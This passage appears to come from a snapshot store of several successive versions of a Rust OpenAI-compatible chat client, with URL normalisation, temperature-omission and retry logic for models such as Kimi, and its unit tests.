base_url: base_url.map(ToString::to_string),\n })\n }\n\n #[test]\n fn build_url_appends_v1_for_plain_base_url() {\n let b = backend(Some(\"https://api.deepseek.com\"), \"deepseek-chat\");\n assert_eq!(\n b.build_url(),\n \"https://api.deepseek.com/v1/chat/completions\"\n );\n }\n\n #[test]\n fn build_url_avoids_duplicate_v1_when_present() {\n let b = backend(Some(\"https://openrouter.ai/api/v1\"), \"auto\");\n assert_eq!(\n b.build_url(),\n \"https://openrouter.ai/api/v1/chat/completions\"\n );\n }\n\n #[test]\n fn build_url_accepts_full_chat_completions_url() {\n let b = backend(\n Some(\"https://example.com/custom/v1/chat/completions\"),\n \"custom-model\",\n );\n assert_eq!(\n b.build_url(),\n \"https://example.com/custom/v1/chat/completions\"\n );\n }\n\n #[test]\n fn kimi_k25_model_omits_temperature_by_default() {\n let b = backend(Some(\"https://api.moonshot.cn\"), \"kimi-k2.5\");\n assert!(b.should_omit_temperature_by_default());\n }\n\n #[test]\n fn kimi_k2_model_keeps_temperature_by_default() {\n let b = backend(Some(\"https://api.moonshot.cn\"), \"kimi-k2-0711-preview\");\n assert!(!b.should_omit_temperature_by_default());\n }\n\n #[test]\n fn non_kimi_model_keeps_temperature_by_default() {\n let b = backend(Some(\"https://api.openai.com\"), \"gpt-4o-mini\");\n assert!(!b.should_omit_temperature_by_default());\n }\n\n #[test]\n fn remove_top_level_field_removes_temperature() {\n let mut body = json!({\"model\":\"x\", \"temperature\":0.1});\n assert!(OpenAiBackend::remove_top_level_field(\n &mut body,\n \"temperature\"\n ));\n assert!(body.get(\"temperature\").is_none());\n }\n\n #[test]\n fn retry_without_temperature_only_for_unsupported_temperature_errors() {\n let err = anyhow::anyhow!(\n \"{}\",\n r#\"OpenAI API error (400): {\"error\":\"unsupported parameter: temperature\"}\"#\n );\n assert!(OpenAiBackend::should_retry_without_temperature(&err));\n\n let other = anyhow::anyhow!(\"{}\", r#\"OpenAI API error (400): {\"error\":\"invalid model\"}\"#);\n assert!(!OpenAiBackend::should_retry_without_temperature(&other));\n }\n}\n"}, "05f5d0f1db914ebd02a14f93c17d2320737ceae1": {"t": 1785760758.4546406, "n": 8480, "h": "6a93f9e3da23342e", "c": "use anyhow::{Context, Result};\nuse async_trait::async_trait;\nuse serde_json::json;\n\nuse super::{LlmBackend, Message};\nuse crate::config::OpenAiConfig;\n\npub struct OpenAiBackend {\n config: OpenAiConfig,\n client: reqwest::Client,\n}\n\nimpl OpenAiBackend {\n pub fn new(config: OpenAiConfig) -> Self {\n Self {\n config,\n client: super::build_http_client(),\n }\n }\n\n fn build_url(&self) -> String {\n let base_url = self\n .config\n .base_url\n .as_deref()\n .unwrap_or(\"https://api.openai.com\");\n let normalized = base_url.trim_end_matches('/');\n let lower = normalized.to_ascii_lowercase();\n\n if lower.ends_with(\"/chat/completions\") {\n return normalized.to_string();\n }\n\n if lower.ends_with(\"/v1\") {\n return format!(\"{}/chat/completions\", normalized);\n }\n\n format!(\"{}/v1/chat/completions\", normalized)\n }\n\n fn should_omit_temperature_by_default(&self) -> bool {\n let model = self.config.model.trim().to_ascii_lowercase();\n model.contains(\"kimi-k2.5\")\n }\n\n fn build_body(\n &self,\n messages: Vec<serde_json::Value>,\n include_temperature: bool,\n ) -> serde_json::Value {\n let mut map = serde_json::Map::new();\n map.insert(\"model\".to_string(), json!(self.config.model));\n map.insert(\"messages\".to_string(), json!(messages));\n map.insert(\"max_tokens\".to_string(), json!(super::DEFAULT_MAX_TOKENS));\n map.insert(\n \"response_format\".to_string(),\n json!({\"type\": \"json_object\"}),\n );\n if include_temperature {\n map.insert(\"temperature\".to_string(), json!(super::DEFAULT_TEMPERATURE));\n }\n serde_json::Value::Object(map)\n }\n\n fn remove_top_level_field(body: &mut serde_json::Value, key: &str) -> bool {\n match body {\n serde_json::Value::Object(map) => map.remove(key).is_some(),\n _ => false,\n }\n }\n\n fn should_retry_without_temperature(err: &anyhow::Error) -> bool {\n let msg = err.to_string().to_lowercase();\n if !msg.contains(\"temperature\") {\n return false;\n }\n\n msg.contains(\"api error (400)\")\n || msg.contains(\"unsupported\")\n || msg.contains(\"not support\")\n || msg.contains(\"not allowed\")\n || msg.contains(\"unknown parameter\")\n || msg.contains(\"invalid parameter\")\n || msg.contains(\"invalid_request_error\")\n || msg.contains(\"extra fields not permitted\")\n || msg.contains(\"不支持\")\n || msg.contains(\"未知参数\")\n || msg.contains(\"无效参数\")\n }\n\n async fn send_request_with_compat(&self, mut body: serde_json::Value) -> Result<String> {\n let first_err = match self.send_request(body.clone()).await {\n Ok(resp) => return Ok(resp),\n Err(err) => err,\n };\n\n if Self::should_retry_without_temperature(&first_err)\n && Self::remove_top_level_field(&mut body, \"temperature\")\n {\n return self.send_request(body).await.with_context(|| {\n format!(\n \"Compatibility retry without `temperature` failed after initial error: {}\",\n first_err\n )\n });\n }\n\n Err(first_err)\n }\n\n async fn send_request(&self, body: serde_json::Value) -> Result<String> {\n let url = self.build_url();\n let mut last_err = None;\n\n for attempt in 0..super::MAX_RETRIES {\n let resp = self\n .client\n .post(&url)\n .header(\"Authorization\", format!(\"Bearer {}\", self.config.api_key))\n .header(\"Content-Type\", \"application/json\")\n .json(&body)\n .send()\n .await\n .context(\"Failed to send request to OpenAI\")?;\n\n let status = resp.status();\n let text = resp\n .text()\n .await\n .context(\"Failed to read OpenAI response\")?;\n\n if status.is_success() {\n let parsed: serde_json::Value =\n serde_json::from_str(&text).context(\"Failed to parse OpenAI response\")?;\n return parsed[\"choices\"][0][\"message\"][\"content\"]\n .as_str()\n .map(|s| s.to_string())\n .ok_or_else(|| anyhow::anyhow!(\"Unexpected OpenAI response format\"));\n }\n\n match super::handle_error_response(status, &text, attempt, \"OpenAI\") {\n Ok(msg) => {\n last_err = Some(msg);\n super::backoff_delay(attempt).await;\n continue;\n }\n Err(e) => return Err(e),\n }\n }\n\n Err(super::bail_last_err(last_err, \"OpenAI request failed\"))\n }\n}\n\n#[async_trait]\nimpl LlmBackend for OpenAiBackend {\n async fn chat(&self, system: &str, user: &str) -> Result<String> {\n let messages = vec![\n json!({\"role\": \"system\", \"content\": system}),\n json!({\"role\": \"user\", \"content\": user}),\n ];\n let body = self.build_body(messages, !self.should_omit_temperature_by_default());\n self.send_request_with_compat(body).await\n }\n\n async fn chat_with_history(&self, system: &str, messages: &[Message]) -> Result<String> {\n let mut msgs = vec![json!({\"role\": \"system\", \"content\": system})];\n for m in messages {\n msgs.push(json!({\"role\": m.role, \"content\": m.content}));\n }\n let body = self.build_body(msgs, !self.should_omit_temperature_by_default());\n self.send_request_with_compat(body).await\n }\n}\n\n#[cfg(test)]\nmod tests {\n use super::OpenAiBackend;\n use crate::config::OpenAiConfig;\n use serde_json::json;\n\n fn backend(base_url: Option<&str>, model: &str) -> OpenAiBackend {\n OpenAiBackend::new(OpenAiConfig {\n api_key: \"sk-test\".to_string(),\n model: model.to_string(),\n base_url: base_url.map(ToString::to_string),\n })\n }\n\n #[test]\n fn build_url_appends_v1_for_plain_base_url() {\n let b = backend(Some(\"https://api.deepseek.com\"), \"deepseek-chat\");\n assert_eq!(\n b.build_url(),\n \"https://api.deepseek.com/v1/chat/completions\"\n );\n }\n\n #[test]\n fn build_url_avoids_duplicate_v1_when_present() {\n let b = backend(Some(\"https://openrouter.ai/api/v1\"), \"auto\");\n assert_eq!(\n b.build_url(),\n \"https://openrouter.ai/api/v1/chat/completions\"\n );\n }\n\n #[test]\n fn build_url_accepts_full_chat_completions_url() {\n let b = backend(\n Some(\"https://example.com/custom/v1/chat/completions\"),\n \"custom-model\",\n );\n assert_eq!(\n b.build_url(),\n \"https://example.com/custom/v1/chat/completions\"\n );\n }\n\n #[test]\n fn kimi_k25_model_omits_temperature_by_default() {\n let b = backend(Some(\"https://api.moonshot.cn\"), \"kimi-k2.5\");\n assert!(b.should_omit_temperature_by_default());\n }\n\n #[test]\n fn kimi_k2_model_keeps_temperature_by_default() {\n let b = backend(Some(\"https://api.moonshot.cn\"), \"kimi-k2-0711-preview\");\n assert!(!b.should_omit_temperature_by_default());\n }\n\n #[test]\n fn non_kimi_model_keeps_temperature_by_default() {\n let b = backend(Some(\"https://api.openai.com\"), \"gpt-4o-mini\");\n assert!(!b.should_omit_temperature_by_default());\n }\n\n #[test]\n fn remove_top_level_field_removes_temperature() {\n let mut body = json!({\"model\":\"x\", \"temperature\":0.1});\n assert!(OpenAiBackend::remove_top_level_field(\n &mut body,\n \"temperature\"\n ));\n assert!(body.get(\"temperature\").is_none());\n }\n\n #[test]\n fn retry_without_temperature_only_for_unsupported_temperature_errors() {\n let err = anyhow::anyhow!(\n \"{}\",\n r#\"OpenAI API error (400): {\"error\":\"unsupported parameter: temperature\"}\"#\n );\n assert!(OpenAiBackend::should_retry_without_temperature(&err));\n\n let other = anyhow::anyhow!(\"{}\", r#\"OpenAI API error (400): {\"error\":\"invalid model\"}\"#);\n assert!(!OpenAiBackend::should_retry_without_temperature(&other));\n }\n}\n"}, "1ded0af3bb97c6ee6a01e404d3cc247cdfe81a9a": {"t": 1785760759.6404235, "n": 8436, "h": "6f450f8a1c307c85", "c": "use anyhow::{Context, Result};\nuse async_trait::async_trait;\nuse serde_json::json;\n\nuse super::{LlmBackend, Message};\nuse crate::config::OpenAiConfig;\n\npub struct OpenAiBackend {\n config: OpenAiConfig,\n client: reqwest::Client,\n}\n\nimpl OpenAiBackend {\n pub fn new(config: OpenAiConfig) -> Self {\n Self {\n config,\n client: super::build_http_client(),\n }\n }\n\n fn build_url(&self) -> String {\n let base_url = self\n .config\n .base_url\n .as_deref()\n .unwrap_or(\"https://api.openai.com\");\n let normalized = base_url.trim_end_matches('/');\n let lower = normalized.to_ascii_lowercase();\n\n if lower.ends_with(\"/chat/completions\") {\n return normalized.to_string();\n }\n\n if lower.ends_with(\"/v1\") {\n return format!(\"{}/chat/completions\", normalized);\n }\n\n format!(\"{}/v1/chat/completions\", normalized)\n }\n\n fn should_omit_temperature_by_default(&self) -> bool {\n let model = self.config.model.trim().to_ascii_lowercase();\n model.contains(\"kimi-k2.5\")\n }\n\n fn build_body(\n &self,\n messages: Vec<serde_json::Value>,\n include_temperature: bool,\n ) -> serde_json::Value {\n let mut map = serde_json::Map::new();\n map.insert(\"model\".to_string(), json!(self.config.model));\n map.insert(\"messages\".to_string(), json!(messages));\n map.insert(\"max_tokens\".to_string(), json!(super::DEFAULT_MAX_TOKENS));\n map.insert(\"response_format\".to_string(), json!({\"type\": \"json_object\"}));\n if include_temperature {\n map.insert(\n \"temperature\".to_string(),\n json!(super::DEFAULT_TEMPERATURE),\n );\n }\n serde_json::Value::Object(map)\n }\n\n fn remove_top_level_field(body: &mut serde_json::Value, key: &str) -> bool {\n match body {\n serde_json::Value::Object(map) => map.remove(key).is_some(),\n _ => false,\n }\n }\n\n fn should_retry_without_temperature(err: &anyhow::Error) -> bool {\n let msg = err.to_string().to_lowercase();\n if !msg.contains(\"temperature\") {\n return false;\n }\n\n msg.contains(\"api error (400)\")\n || msg.contains(\"unsupported\")\n || msg.contains(\"not support\")\n || msg.contains(\"not allowed\")\n || msg.contains(\"unknown parameter\")\n || msg.contains(\"invalid parameter\")\n || msg.contains(\"invalid_request_error\")\n || msg.contains(\"extra fields not permitted\")\n || msg.contains(\"不支持\")\n || msg.contains(\"未知参数\")\n || msg.contains(\"无效参数\")\n }\n\n async fn send_request_with_compat(&self, mut body: serde_json::Value) -> Result<String> {\n let first_err = match self.send_request(body.clone()).await {\n Ok(resp) => return Ok(resp),\n Err(err) => err,\n };\n\n if Self::should_retry_without_temperature(&first_err)\n && Self::remove_top_level_field(&mut body, \"temperature\")\n {\n return self.send_request(body).await.with_context(|| {\n format!(\n \"Compatibility retry without `temperature` failed after initial error: {}\",\n first_err\n )\n });\n }\n\n Err(first_err)\n }\n\n async fn send_request(&self, body: serde_json::Value) -> Result<String> {\n let url = self.build_url();\n let mut last_err = None;\n\n for attempt in 0..super::MAX_RETRIES {\n let resp = self\n .client\n .post(&url)\n .header(\"Authorization\", format!(\"Bearer {}\", self.config.api_key))\n .header(\"Content-Type\", \"application/json\")\n .json(&body)\n .send()\n .await\n .context(\"Failed to send request to OpenAI\")?;\n\n let status = resp.status();\n let text = resp\n .text()\n .await\n .context(\"Failed to read OpenAI response\")?;\n\n if status.is_success() {\n let parsed: serde_json::Value =\n serde_json::from_str(&text).context(\"Failed to parse OpenAI response\")?;\n return parsed[\"choices\"][0][\"message\"][\"content\"]\n .as_str()\n .map(|s| s.to_string())\n .ok_or_else(|| anyhow::anyhow!(\"Unexpected OpenAI response format\"));\n }\n\n match super::handle_error_response(status, &text, attempt, \"OpenAI\") {\n Ok(msg) => {\n last_err = Some(msg);\n super::backoff_delay(attempt).await;\n continue;\n }\n Err(e) => return Err(e),\n }\n }\n\n Err(super::bail_last_err(last_err, \"OpenAI request failed\"))\n }\n}\n\n#[async_trait]\nimpl LlmBackend for OpenAiBackend {\n async fn chat(&self, system: &str, user: &str) -> Result<String> {\n let messages = vec![\n json!({\"role\": \"system\", \"content\": system}),\n json!({\"role\": \"user\", \"content\": user}),\n ];\n let body = self.build_body(messages, !self.should_omit_temperature_by_default());\n self.send_request_with_compat(body).await\n }\n\n async fn chat_with_history(&self, system: &str, messages: &[Message]) -> Result<String> {\n let mut msgs = vec![json!({\"role\": \"system\", \"content\": system})];\n for m in messages {\n msgs.push(json!({\"role\": m.role, \"content\": m.content}));\n }\n let body = self.build_body(msgs, !self.should_omit_temperature_by_default());\n self.send_request_with_compat(body).await\n }\n}\n\n#[cfg(test)]\nmod tests {\n use super::OpenAiBackend;\n use crate::config::OpenAiConfig;\n use serde_json::json;\n\n fn backend(base_url: Option<&str>, model: &str) -> OpenAiBackend {\n OpenAiBackend::new(OpenAiConfig {\n api_key: \"sk-test\".to_string(),\n model: model.to_string(),\n base_url: base_url.map(ToString::to_string),\n })\n }\n\n #[test]\n fn build_url_appends_v1_for_plain_base_url() {\n let b = backend(Some(\"https://api.deepseek.com\"), \"deepseek-chat\");\n assert_eq!(\n b.build_url(),\n \"https://api.deepseek.com/v1/chat/completions\"\n );\n }\n\n #[test]\n fn build_url_avoids_duplicate_v1_when_present() {\n let b = backend(Some(\"https://openrouter.ai/api/v1\"), \"auto\");\n assert_eq!(\n b.build_url(),\n \"https://openrouter.ai/api/v1/chat/completions\"\n );\n }\n\n #[test]\n fn build_url_accepts_full_chat_completions_url() {\n let b = backend(\n Some(\"https://example.com/custom/v1/chat/completions\"),\n \"custom-model\",\n );\n assert_eq!(\n b.build_url(),\n \"https://example.com/custom/v1/chat/completions\"\n );\n }\n\n #[test]\n fn kimi_k25_model_omits_temperature_by_default() {\n let b = backend(Some(\"https://api.moonshot.cn\"), \"kimi-k2.5\");\n assert!(b.should_omit_temperature_by_default());\n }\n\n #[test]\n fn kimi_k2_model_keeps_temperature_by_default() {\n let b = backend(Some(\"https://api.moonshot.cn\"), \"kimi-k2-0711-preview\");\n assert!(!b.should_omit_temperature_by_default());\n }\n\n #[test]\n fn non_kimi_model_keeps_temperature_by_default() {\n let b = backend(Some(\"https://api.openai.com\"), \"gpt-4o-mini\");\n assert!(!b.should_omit_temperature_by_default());\n }\n\n #[test]\n fn remove_top_level_field_removes_temperature() {\n let mut body = json!({\"model\":\"x\", \"temperature\":0.1});\n assert!(OpenAiBackend::remove_top_level_field(&mut body, \"temperature\"));\n assert!(body.get(\"temperature\").is_none());\n }\n\n #[test]\n fn retry_without_temperature_only_for_unsupported_temperature_errors() {\n let err = anyhow::anyhow!(\n \"OpenAI API error (400): {\\\"error\\\":\\\"unsupported parameter: temperature\\\"}\"\n );\n assert!(OpenAiBackend::should_retry_without_temperature(&err));\n\n let other = anyhow::anyhow!(\"OpenAI API error (400): {\\\"error\\\":\\\"invalid model\\\"}\");\n assert!(!OpenAiBackend::should_retry_without_temperature(&other));\n }\n}\n"}, "6e9306549cd341f96b8549db00fee4de5d4e654e": {"t": 1785760762.0477161, "n": 8355, "h": "146e0b7c60576501", "c": "use anyhow::{Context, Result};\nuse async_trait::async_trait;\nuse serde_json::json;\n\nuse super::{LlmBackend, Message};\nuse crate::config::OpenAiConfig;\n\npub struct OpenAiBackend {\n config: OpenAiConfig,\n client: reqwest::Client,\n}\n\nimpl OpenAiBackend {\n pub fn new(config: OpenAiConfig) -> Self {\n Self {\n config,\n client: super::build_http_client(),\n }\n }\n\n fn build_url(&self) -> String {\n let base_url = self\n .config\n .base_url\n .as_deref()\n .unwrap_or(\"https://api.openai.com\");\n let normalized = base_url.trim_end_matches('/');\n let lower = normalized.to_ascii_lowercase();\n\n if lower.ends_with(\"/chat/completions\") {\n return normalized.to_string();\n }\n\n if lower.ends_with(\"/v1\") {\n return format!(\"{}/chat/completions\", normalized);\n }\n\n format!(\"{}/v1/chat/completions\", normalized)\n }\n\n fn should_omit_temperature_by_default(&self) -> bool {\n let model = self.config.model.trim().to_ascii_lowercase();\n model.starts_with(\"kimi\")\n || model.starts_with(\"moonshot\")\n || model.contains(\"/kimi\")\n || model.contains(\"/moonshot\")\n }\n\n fn build_body(\n &self,\n messages: Vec<serde_json::Value>,\n include_temperature: bool,\n ) -> serde_json::Value {\n let mut map = serde_json::Map::new();\n map.insert(\"model\".to_string(), json!(self.config.model));\n map.insert(\"messages\".to_string(), json!(messages));\n map.insert(\"max_tokens\".to_string(), json!(super::DEFAULT_MAX_TOKENS));\n map.insert(\"response_format\".to_string(), json!({\"type\": \"json_object\"}));\n if include_temperature {\n map.insert(\n \"temperature\".to_string(),\n json!(super::DEFAULT_TEMPERATURE),\n );\n }\n serde_json::Value::Object(map)\n }\n\n fn remove_top_level_field(body: &mut serde_json::Value, key: &str) -> bool {\n match body {\n serde_json::Value::Object(map) => map.remove(key).is_some(),\n _ => false,\n }\n }\n\n fn should_retry_without_temperature(err: &anyhow::Error) -> bool {\n let msg = err.to_string().to_lowercase();\n if !msg.contains(\"temperature\") {\n return false;\n }\n\n msg.contains(\"api error (400)\")\n || msg.contains(\"unsupported\")\n || msg.contains(\"not support\")\n || msg.contains(\"not allowed\")\n || msg.contains(\"unknown parameter\")\n || msg.contains(\"invalid parameter\")\n || msg.contains(\"invalid_request_error\")\n || msg.contains(\"extra fields not permitted\")\n || msg.contains(\"不支持\")\n || msg.contains(\"未知参数\")\n || msg.contains(\"无效参数\")\n }\n\n async fn send_request_with_compat(&self, mut body: serde_json::Value) -> Result<String> {\n let first_err = match self.send_request(body.clone()).await {\n Ok(resp) => return Ok(resp),\n Err(err) => err,\n };\n\n if Self::should_retry_without_temperature(&first_err)\n && Self::remove_top_level_field(&mut body, \"temperature\")\n {\n return self.send_request(body).await.with_context(|| {\n format!(\n \"Compatibility retry without `temperature` failed after initial error: {}\",\n first_err\n )\n });\n }\n\n Err(first_err)\n }\n\n async fn send_request(&self, body: serde_json::Value) -> Result<String> {\n let url = self.build_url();\n let mut last_err = None;\n\n for attempt in 0..super::MAX_RETRIES {\n let resp = self\n .client\n .post(&url)\n .header(\"Authorization\", format!(\"Bearer {}\", self.config.api_key))\n .header(\"Content-Type\", \"application/json\")\n .json(&body)\n .send()\n .await\n .context(\"Failed to send request to OpenAI\")?;\n\n let status = resp.status();\n let text = resp\n .text()\n .await\n .context(\"Failed to read OpenAI response\")?;\n\n if status.is_success() {\n let parsed: serde_json::Value =\n serde_json::from_str(&text).context(\"Failed to parse OpenAI response\")?;\n return parsed[\"choices\"][0][\"message\"][\"content\"]\n .as_str()\n .map(|s| s.to_string())\n .ok_or_else(|| anyhow::anyhow!(\"Unexpected OpenAI response format\"));\n }\n\n match super::handle_error_response(status, &text, attempt, \"OpenAI\") {\n Ok(msg) => {\n last_err = Some(msg);\n super::backoff_delay(attempt).await;\n continue;\n }\n Err(e) => return Err(e),\n }\n }\n\n Err(super::bail_last_err(last_err, \"OpenAI request failed\"))\n }\n}\n\n#[async_trait]\nimpl LlmBackend for OpenAiBackend {\n async fn chat(&self, system: &str, user: &str) -> Result<String> {\n let messages = vec![\n json!({\"role\": \"system\", \"content\": system}),\n json!({\"role\": \"user\", \"content\": user}),\n ];\n let body = self.build_body(messages, !self.should_omit_temperature_by_default());\n self.send_request_with_compat(body).await\n }\n\n async fn chat_with_history(&self, system: &str, messages: &[Message]) -> Result<String> {\n let mut msgs = vec![json!({\"role\": \"system\", \"content\": system})];\n for m in messages {\n msgs.push(json!({\"role\": m.role, \"content\": m.content}));\n }\n let body = self.build_body(msgs, !self.should_omit_temperature_by_default());\n self.send_request_with_compat(body).await\n }\n}\n\n#[cfg(test)]\nmod tests {\n use super::OpenAiBackend;\n use crate::config::OpenAiConfig;\n use serde_json::json;\n\n fn backend(base_url: Option<&str>, model: &str) -> OpenAiBackend {\n OpenAiBackend::new(OpenAiConfig {\n api_key: \"sk-test\".to_string(),\n model: model.to_string(),\n base_url: base_url.map(ToString::to_string),\n })\n }\n\n #[test]\n fn build_url_appends_v1_for_plain_base_url() {\n let b = backend(Some(\"https://api.deepseek.com\"), \"deepseek-chat\");\n assert_eq!(\n b.build_url(),\n \"https://api.deepseek.com/v1/chat/completions\"\n );\n }\n\n #[test]\n fn build_url_avoids_duplicate_v1_when_present() {\n let b = backend(Some(\"https://openrouter.ai/api/v1\"), \"auto\");\n assert_eq!(\n b.build_url(),\n \"https://openrouter.ai/api/v1/chat/completions\"\n );\n }\n\n #[test]\n fn build_url_accepts_full_chat_completions_url() {\n let b = backend(\n Some(\"https://example.com/custom/v1/chat/completions\"),\n \"custom-model\",\n );\n assert_eq!(\n b.build_url(),\n \"https://example.com/custom/v1/chat/completions\"\n );\n }\n\n #[test]\n fn kimi_model_omits_temperature_by_default() {\n let b = backend(Some(\"https://api.moonshot.cn\"), \"kimi-k2-0711-preview\");\n assert!(b.should_omit_temperature_by_default());\n }\n\n #[test]\n fn non_kimi_model_keeps_temperature_by_default() {\n let b = backend(Some(\"https://api.openai.com\"), \"gpt-4o-mini\");\n assert!(!b.should_omit_temperature_by_default());\n }\n\n #[test]\n fn remove_top_level_field_removes_temperature() {\n let mut body = json!({\"model\":\"x\", \"temperature\":0.1});\n assert!(OpenAiBackend::remove_top_level_field(&mut body, \"temperature\"));\n assert!(body.get(\"temperature\").is_none());\n }\n\n #[test]\n fn retry_without_temperature_only_for_unsupported_temperature_errors() {\n let err = anyhow::anyhow!(\n \"OpenAI API error (400): {\\\"error\\\":\\\"unsupported parameter: temperature\\\"}\"\n );\n assert!(OpenAiBackend::should_retry_without_temperature(&err));\n\n let other = anyhow::anyhow!(\"OpenAI API error (400): {\\\"error\\\":\\\"invalid model\\\"}\");\n assert!(!OpenAiBackend::should_retry_without_temperature(&other));\n }\n}\n"}, "fabc522d16272993066c5e2dd1d37106ccbf12d2": {"t": 1785760763.444853, "n": 3378, "h": "f0c2c0dcb1f96f5b", "c": "use anyhow::{Context, Result};\nuse async_trait::async_trait;\nuse serde_json::json;\n\nuse super::{LlmBackend, Message};\nuse crate::config::OpenAiConfig;\n\npub struct OpenAiBackend {\n config: OpenAiConfig,\n client: reqwest::Client,\n}\n\nimpl OpenAiBackend {\n pub fn new(config: OpenAiConfig) -> Self {\n Self {\n config,\n client: super::build_http_client(),\n }\n }\n\n fn build_url(&self) -> String {\n let base_url = self\n .config\n .base_url\n .as_deref()\n .unwrap_or(\"https://api.openai.com\");\n format!(\"{}/v1/chat/completions\", base_url.trim_end_matches('/'))\n }\n\n async fn send_request(&self, body: serde_json::Value) -> Result<String> {\n let url = self.build_url();\n let mut last_err = None;\n\n for attempt in 0..super::MAX_RETRIES {\n let resp = self\n .client\n .post(&url)\n .header(\"Authorization\", format!(\"Bearer {}\", self.config.api_key))\n .header(\"Content-Type\", \"application/json\")\n .json(&body)\n .send()\n .await\n .context(\"Failed to send request to OpenAI\")?;\n\n let status = resp.status();\n let text = resp\n .text()\n .await\n .context(\"Failed to read OpenAI response\")?;\n\n if status.is_success() {\n let parsed: serde_json::Value =\n serde_json::from_str(&text).context(\"Failed to parse OpenAI response\")?;\n return parsed[\"choices\"][0][\"message\"][\"content\"]\n .as_str()\n .map(|s| s.to_string())\n .ok_or_else(|| anyhow::anyhow!(\"Unexpected OpenAI response format\"));\n }\n\n match super::handle_error_response(status, &text, attempt, \"OpenAI\") {\n Ok(msg) => {\n last_err = Some(msg);\n super::backoff_delay(attempt).await;\n continue;\n }\n Err(e) => return Err(e),\n }\n }\n\n Err(super::bail_last_err(last_err, \"OpenAI request failed\"))\n }\n}\n\n#[async_trait]\nimpl LlmBackend for OpenAiBackend {\n async fn chat(&self, system: &str, user: &str) -> Result<String> {\n let body = json!({\n \"model\": self.config.model,\n \"messages\": [\n {\"role\": \"system\", \"content\": system},\n {\"role\": \"user\", \"content\": user}\n ],\n \"temperature\": super::DEFAULT_TEMPERATURE,\n \"max_tokens\": super::DEFAULT_MAX_TOKENS,\n \"response_format\": {\"type\": \"json_object\"}\n });\n self.send_request(body).await\n }\n\n async fn chat_with_history(&self, system: &str, messages: &[Message]) -> Result<String> {\n let mut msgs = vec![json!({\"role\": \"system\", \"content\": system})];\n for m in messages {\n msgs.push(json!({\"role\": m.role, \"content\": m.content}));\n }\n let body = json!({\n \"model\": self.config.model,\n \"messages\": msgs,\n \"temperature\": super::DEFAULT_TEMPERATURE,\n \"max_tokens\": super::DEFAULT_MAX_TOKENS,\n \"response_format\": {\"type\": \"json_object\"}\n });\n self.send_request(body).await\n }\n}\n"}, "324ed11f88b0752b0424d024b878bea558fba95b": {"t": 1785760764.6499832, "n": 3634, "h": "87bf9b84816b7792", "c": "use anyhow::{Context, Result};\nuse async_trait::async_trait;\nuse serde_json::json;\n\nuse super::{LlmBackend, Message};\nuse crate::config::OpenAiConfig;\n\npub struct OpenAiBackend {\n config: OpenAiConfig,\n client: reqwest::Client,\n}\n\nimpl OpenAiBackend {\n pub fn new(config: OpenAiConfig) -> Self {\n Self {\n config,\n client: super::build_http_client(),\n }\n }\n\n fn build_url(&self) -> String {\n let base_url = self\n .config\n .base_url\n .as_deref()\n .unwrap_or(\"https://api.openai.com\");\n format!(\"{}/v1/chat/completions\", base_url.trim_end_matches('/'))\n }\n\n async fn send_request(&self, body: serde_json::Value) -> Result<String> {\n let url = self.build_url();\n let mut last_err = None;\n\n for attempt in 0..super::MAX_RETRIES {\n let resp = self\n .client\n .post(&url)\n .header(\"Authorization\", format!(\"Bearer {}\", self.config.api_key))\n .header(\"Content-Type\", \"application/json\")\n .json(&body)\n .send()\n .await\n .context(\"Failed to send request to OpenAI\")?;\n\n let status = resp.status();\n let text = resp\n .text()\n .await\n .context(\"Failed to read OpenAI response\")?;\n\n if status.is_success() {\n let parsed: serde_json::Value =\n serde_json::from_str(&text).context(\"Failed to parse OpenAI response\")?;\n return parsed[\"choices\"][0][\"message\"][\"content\"]\n .as_str()\n .map(|s| s.to_string())\n .ok_or_else(|| anyhow::anyhow!(\"Unexpected OpenAI response format\"));\n }\n\n if super::should_retry(status) && attempt + 1 < super::MAX_RETRIES {\n super::backoff_delay(attempt).await;\n last_err = Some(format!(\n \"OpenAI API error ({}): {}\",\n status,\n text.chars().take(500).collect::<String>()\n ));\n continue;\n }\n\n let preview: String = text.chars().take(500).collect();\n anyhow::bail!(\"OpenAI API error ({}): {}\", status, preview);\n }\n\n anyhow::bail!(\n \"{}\",\n last_err.unwrap_or_else(|| \"OpenAI request failed\".into())\n )\n }\n}\n\n#[async_trait]\nimpl LlmBackend for OpenAiBackend {\n async fn chat(&self, system: &str, user: &str) -> Result<String> {\n let body = json!({\n \"model\": self.config.model,\n \"messages\": [\n {\"role\": \"system\", \"content\": system},\n {\"role\": \"user\", \"content\": user}\n ],\n \"temperature\": super::DEFAULT_TEMPERATURE,\n \"max_tokens\": super::DEFAULT_MAX_TOKENS,\n \"response_format\": {\"type\": \"json_object\"}\n });\n self.send_request(body).await\n }\n\n async fn chat_with_history(&self, system: &str, messages: &[Message]) -> Result<String> {\n let mut msgs = vec![json!({\"role\": \"system\", \"content\": system})];\n for m in messages {\n msgs.push(json!({\"role\": m.role, \"content\": m.content}));\n }\n let body = json!({\n \"model\": self.config.model,\n \"messages\": msgs,\n \"temperature\": super::DEFAULT_TEMPERATURE,\n \"max_tokens\": super::DEFAULT_MAX_TOKENS,\n \"response_format\": {\"type\": \"json_object\"}\n });\n self.send_request(body).await\n }\n}\n"}, "97dfb1a2cab4fd4f35b55bb319902b8bafddb7a0": {"t": 1785760766.0334296, "n": 3522, "h": "25b182c3c340042c", "c": "use anyhow::{Context, Result};\nuse async_trait::async_trait;\nuse serde_json::json;\n\nuse super::{LlmBackend, Message};\nuse crate::config::OpenAiConfig;\n\npub struct OpenAiBackend {\n config: OpenAiConfig,\n client: reqwest::Client,\n}\n\nimpl OpenAiBackend {\n pub fn new(config: OpenAiConfig) -> Self {\n Self {\n config,\n client: super::build_http_client(),\n }\n }\n\n fn build_url(&self) -> String {\n let base_url = self\n .config\n .base_url\n .as_deref()\n .unwrap_or(\"https://api.openai.com\");\n format!(\"{}/v1/chat/completions\", base_url.trim_end_matches('/'))\n }\n\n async fn send_request(&self, body: serde_json::Value) -> Result<String> {\n let url = self.build_url();\n let mut last_err = None;\n\n for attempt in 0..super::MAX_RETRIES {\n let resp = self\n .client\n .post(&url)\n .header(\"Authorization\", format!(\"Bearer {}\", self.config.api_key))\n .header(\"Content-Type\", \"application/json\")\n .json(&body)\n .send()\n .await\n .context(\"Failed to send request to OpenAI\")?;\n\n let status = resp.status();\n let text = resp\n .text()\n .await\n .context(\"Failed to read OpenAI response\")?;\n\n if status.is_success() {\n let parsed: serde_json::Value =\n serde_json::from_str(&text).context(\"Failed to parse OpenAI response\")?;\n return parsed[\"choices\"][0][\"message\"][\"content\"]\n .as_str()\n .map(|s| s.to_string())\n .ok_or_else(|| 